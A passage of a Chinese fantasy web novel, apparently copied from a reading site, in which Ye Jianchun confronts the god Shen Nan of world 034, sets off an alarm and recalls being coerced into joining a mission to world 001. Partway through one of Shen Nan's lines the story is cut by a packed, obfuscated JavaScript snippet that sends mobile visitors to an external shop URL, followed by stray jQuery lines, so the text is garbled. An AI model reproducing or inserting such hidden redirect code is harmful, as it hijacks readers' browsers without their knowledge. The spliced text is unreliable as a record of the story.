叶见春试探着开口：“你是故意受伤的？”


    “是。”


    “为什么？”


    “这是杀我的最佳时机。如果他不用本体，他杀不了我。”她的语气平淡，仿佛在谈论今天该买橘子还是买苹果一样，“所以他一定会用本体来见我。”


    “你有几成把握？”


    “没有把握。”


    “没有把握你就敢——”


    “人性是最经不起相信的东西。”山樱抬眼，仿佛穿过他，望向很远的未来，“我赌他一定会来。”


    仓促的沉默后，叶见春又问道：“这是……你的本体吗？”


    “一直是。”


    他眼睛圆圆地瞪着她，山樱却轻轻笑了笑，眼底闪过一丝几不可见的兴奋：“危险的事，做起来才刺激。”


    叶见春彻底无言。


    最后，他终于想起来问她：“你的名字？”


    她瞥了他一眼，那一瞬间，叶见春忍不住开口叫她。


    ——山樱。


    这个魂牵梦绕的名字，似乎刻在记忆的某个深处。


    「枪毙前12小时」


    034世界神明早在两天前发布公告，明天集中处决一批死刑犯，众所周知，被神明亲自宣判处决的死刑犯都是罪大恶极、执迷不悟，犯下累累重罪的叛神者。


    可其中某个人的罪行却十分耐人寻味——倒卖营养液罪。


    很难想象他究竟倒卖了几千亿吨营养液才能与这些杀人放火、出卖神明的人并列在一起。


    但经过神明批准的罪人罪证确凿无疑，尽管有人疑惑，但并没有人蠢到去挑战神明的权威。


    叶见春再次以章邱的身份进入神明办公楼，已经熟练许多，这身军服改得十分合身。虽然不知道章邱这人平时性格如何，不过尽量不笑少说话应该没错。


    他顺利混入，不需要机器人的引导，径直搭坐反重力电梯一路上行。


    今晚这里的人很多，麻烦也随之而来。


    甬道里，一个人突然搭上叶见春的肩膀，寒暄道：“章少校，好久不见，什么时候回来的？”


    叶见春不得已回头，看见一个赤发红眼的男人，警惕地没有说话，只是冷漠拂开那只胡萝卜一样好笑的小胖手。


    那人眼神冷冷地看着叶见春，呼吸微顿。叶见春心里发毛，总疑心他发觉了什么。好在片刻之后，男人忽然笑了笑，问：“怎么，这是升官了，连我都不认了？你的脾气这么差，也不知道是怎么被神明挑中，这次又要给你安排什么肥差？”


    他不是原身的朋友。叶见春悬着的心终于落下，板着脸僵硬地哼了一声，然后迅速低低骂了句“关你屁事”，大步流星地走了。


    后面的人嘀咕声追上叶见春的耳朵：“奇奇怪怪的臭刀疤。”


    与此同时，陈洛也到了神所门口，她一身隐身衣与黑夜融为一体，戴着帽子和口罩，把全身遮挡得严严实实。但这并不能抵挡住机器人的雷达扫描，她手里攥着通行证，在机器人检查的这瞬间，上面的纹路赫然变化，像一只振翅高飞的鸟儿。


    没人发觉不对。


    但陈洛的念，极其擅长伪装。


    她在电梯口想了很久，没有直接去地牢，而是选择不断向上。


    作为神明最忠诚的信徒之一，她想要亲自找神明问清楚。


    神明常在的那间办公厅门口虚掩，叶见春打开房门，白发老人坐在松软的真皮椅上，似乎对他的来到毫不意外，嘴上挂着一丝温和的微笑，说：“见春，我等你很久了。”


    “等我？”叶见春语气疑惑，眼神却防备。


    神明了然地笑了笑，说：“别这样紧张，我们可是老朋友了。”


    叶见春狠狠皱了皱眉：“我不认识你。”


    034神明的化身是一个精神矍铄的老头，一头灰白的短卷发，标准的国字脸，眼窝极深，老年斑爬满了全身各处，与那双犀利的眼睛毫不相配。


    虽然记忆里没有任何关于他的印象，但叶见春心里升起一股莫名的厌恶，几乎是本能地草率下了结论——他看起来像一个掌控欲过剩的神经病。


    神明毫不在意他心里的想法，摊摊手，说：“如果你不认识我，来这里的目的是什么？”


    叶见春语出惊人：“当然是，来要你的命。”


    这副初生牛犊不怕虎的模样逗得神明开怀大笑：“凭你？”


    叶见春点点头，转瞬间身形移动，手上藏了片锋利的刀，飞快地转到神明身后，刀刃对准他脖颈。


    然而神明满是褶皱的手却精准无比地掐住了他的腕骨，一股难以抗拒的巨力传来，叶见春整个人被径直甩飞出去。


    像精美的琉璃被重重摔碎，头骨与墙壁之间发出清脆的声音。叶见春嘴角崩裂，殷殷淌血，而神明一步步走进他，语气带着古怪的疑惑：“见春呐，我以前一直以为你不是个傻子，但你做的事情，总令我匪夷所思。”


    叶见春就着胳膊随意擦去唇角血迹，皱了皱眉头。神明再次抬手，无形的念力即将压下的前一刻，他猛地大喊一声


    ——“申南！”


    这名字已经太多年没有听到，神明一时间也恍惚了一瞬，叶见春则抓住这一秒的破绽，强忍剧痛，将神明狠狠推向右侧墙壁，神明血液沾染的瞬间，墙壁上的未知纹路骤然亮起。


    这是直通34世界中枢的警报。


    申南的手掌下意识按在墙壁上。


    “滴滴……掌纹验证……成功！”


    刺耳的警报声响起，门外仅有几步之遥的陈洛蓦地停住脚步。


    原先位于108楼顶的乳白穹顶骤然亮起，白炽的强光像一颗人造太阳，刹那便将整个世界都照亮，而世界APP的界面都在这一刻强制变成了漆黑，血红的安全警告弹窗占据了所有视野：非法侵入，紧急启动戒备模式。


    无数人从梦中被电醒，不得不进入戒备状态，惶惑不安，甚至不知道发生了什么。


    有人忍不住发出抱怨：“不是前几天刚刚结束戒备，怎么又开始了，这是怎么了？”


    -


    神明，或者说申南，彻底被激怒了。


    “是001告诉你的？你就这么相信她？！”申南一把将瘫在墙角的叶见春拎起来，叶见春双脚离地，徒劳地挣扎着。“在虚拟机里待了三个月都不肯松口，为什么遇到她就变了？你不应该是这样！要反抗就彻底反抗啊，最讨厌你这种半路背叛的蠢货！”


    “我从未背叛我的信仰。”叶见春嘶声喊道，些许血沫喷在申南脸上，申南微微偏头，叶见春就立即低头狠狠地咬在他手背上。


    申南吃痛地下意识松开手，叶见春则向后趔趄几步，支撑不住，只能无力地摔在地上。


    看见叶见春如丧家之犬般趴在地上喘气，申南甩了甩手背，忍不住愉悦道：“见春，我知道你想做什么。拖延时间，制造混乱抑或是吸引我的注意力？还是想把偷录的视频发到世界频道上？”


    他俯视着地上的人，语气相当自负：“但你是不是忘了，这里是我的世界。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17210300|195614||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    在我的世界里，你怎么还不长记性，妄想翻身？”


    申南直直地盯着叶见春明亮的眼眸，念力像一根根冰冷的钢针穿刺进颅内。叶见春太阳穴处的青筋骤然暴起，手指无意识地蜷缩，身体却被申南的念死死禁锢。


    申南蛊惑道：“我给你最后一个机会，放弃抵抗，成为我的信徒，我饶你不死。”


    就在这精神被强行侵入、意识也几近溃散的瞬间，叶见春的记忆也被彻底冲垮。某些被深埋、被封锁的画面，如同决堤的江水，伴随着剧痛汹涌而至。


    沉重的回忆像一把铁锤砸在心上，溅起四散纷飞、灼热刺目的绚烂铁花。


    他想起来了。


    在进入001世界之前，他就已经见过034神明的这张虚伪可怖的脸。


    -


    “你就是陈见春？”申南隔着一道透明的玻璃屏障，手指随意地点了点半跪在地上那个满身伤痕的年轻人。


    这个可怜又无辜的年轻人是神明无聊时亲自抓来的无神者，定期转化小世界里的顽固分子，享受每一次掌控人心的成就感，是申南乐此不疲的小小游戏。


    但眼前这个年轻人异常棘手，无论多么强大的念力洗刷他的大脑，都无法动摇他意志分毫。于是申南玩腻的时候顺手把他扔进了虚拟机里，没想到此人只用了三个月时间就从他专门用来磨灭意识的虚拟机中清醒过来。


    后来，他派人把这犟种的父亲抓来，试图用亲情感化或是威胁，可惜仍然无济于事。


    很难见到这样有意思的人类，看来他真是宁死也不愿意成为自己的信徒


    叶见春艰难地抬起脸，长时间的抗争让他眼白部分布满血丝，漆黑的瞳孔却依然执拗地聚焦。他带着一种令神明不悦的、近乎漠然的态度，哑声回答：“是。”


    申南手指微压，那边叶见春刚想屈起的腿再一次磕在地面，像是引颈受戮的姿势。他仔细端详叶见春的面容，血污之下，其实是一张还算清秀俊朗的脸蛋。


    眼型偏长，内眼角细锐，这样一双漂亮的眼睛此刻却用警惕或者说是厌恶的眼神盯着自己。


    他的脸配上这副宁死不屈的表情，申南莫名感到熟悉。他一向过目不忘，在自己的记忆库里思索了好一阵后，忍不住笑出了声，说：“原来是你，长得真像你的母亲。”


    叶见春眉毛顿时一松，几乎是瞬间追问：“你……认识我妈妈？”


    “有点缘分。”


    “她在哪里？”


    申南露出苦恼的神情，像是发了善心，说：“001世界。”


    叶见春冷冷地抬眼，怀疑地看着他，但神明却清楚他的眼神里已经多了几分隐约的期待：“你怎么证明？”


    神明从来不需要证明，申南心里有些厌烦，但看他似乎信了几分，好心情地告诉他：“你应该是和你母亲姓，叫叶见春？”


    看眼前这个毛头小子眼睛一亮，申南趁热打铁说：“我将派遣一支队伍进入001世界，你要去了就会知道。”


    对面那个叶家孩子迟迟没有接话，申南一边耐心地等待着，一边不经意地说：“你父亲，陈厚理，两个月前因倒卖营养液入狱，他主动提出去001世界将功折罪。不过，队伍里都是年轻人……”


    叶见春整个人像紧绷的弦，几乎来不及思考，立即说：“我可以去，但你要放了他。”


    申南意味深长地对他笑了笑，说：“你还没资格和我讲条件。”


    随后他摆了摆手，扬长而去：“等你活着回来再说吧。”